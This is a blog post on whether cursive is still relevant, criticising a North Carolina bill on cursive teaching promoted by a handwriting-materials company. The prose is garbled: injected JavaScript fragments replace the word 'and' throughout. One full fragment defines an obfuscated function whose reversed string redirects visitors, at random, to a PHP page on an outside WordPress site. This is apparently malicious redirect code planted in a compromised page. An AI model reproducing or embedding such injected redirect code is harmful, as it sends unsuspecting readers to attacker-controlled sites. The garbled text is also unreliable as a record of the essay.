Is Cursive Still Relevant?

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>>5117792408_6005398fbe_oMaybe there are adults out there who still use their cursive-writing skills. I don’t use them anymore, except to sign my name. Even when I write thank-you notes or birthday cards, I only print.

Now, my cursive was never beautiful – my middle school English teacher gave me B’s in spelling because my handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwriting wasn’t uniform enough. I’m still bitter. Cursive has proven to be, for me at least, an antiquated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and useless skill.

>>My occupational therapist friends would disagree. There’s research that supports a connection between handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwriting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and literacy development, cognitive development, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fine-motor skills. (There’s also debate about whether cursive is really necessary, or if >>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwriting-matters-cursive-doesnt”>learning to print legibly has the same benefits).

Zaner-Bloser, a for-profit company that sells handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwriting instructional materials andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and calls cursive “a fundamental right,” put out this >>video to offer its perspective on the benefits of cursive. Zaner-Bloser is also where >>Rep. Pat Hurley got her information when she sponsored >>a bill requiring schools to teach cursive writing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and multiplication tables. The bill has already passed the NC House andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is now in the Senate.

It’s not that students in North Carolina are no longer learning cursive; they are. But the skill is not included in the new Common Core Language Arts Curriculum, which North Carolina andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many other states have adopted. In this age of intense standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andardized testing, it’s understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andable that schools would not want to spend time teaching their students a skill they will likely stop using by the time they reach high school.

The success of this legislation, which Zaner-Bloser has been pushing in other states as well, raises a couple of questions, regardless of what you think about the need for cursive.

First, at a time when our state leaders seem skeptical of everything they hear from the federal government andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even >>local elected officials, why are they >>so quick to go along with ideas presented by private companies?

Second, even as state leaders are considering cuts in >>teacher-assistant positions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and >>teacher pay, will they increase funding to pay for occupational therapy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and extra assistance for students who struggle with cursive?

And, most importantly, will a teacher be allowed to lower a student’s spelling grade because of the quality of their cursive? Because really, that’s just not fair!




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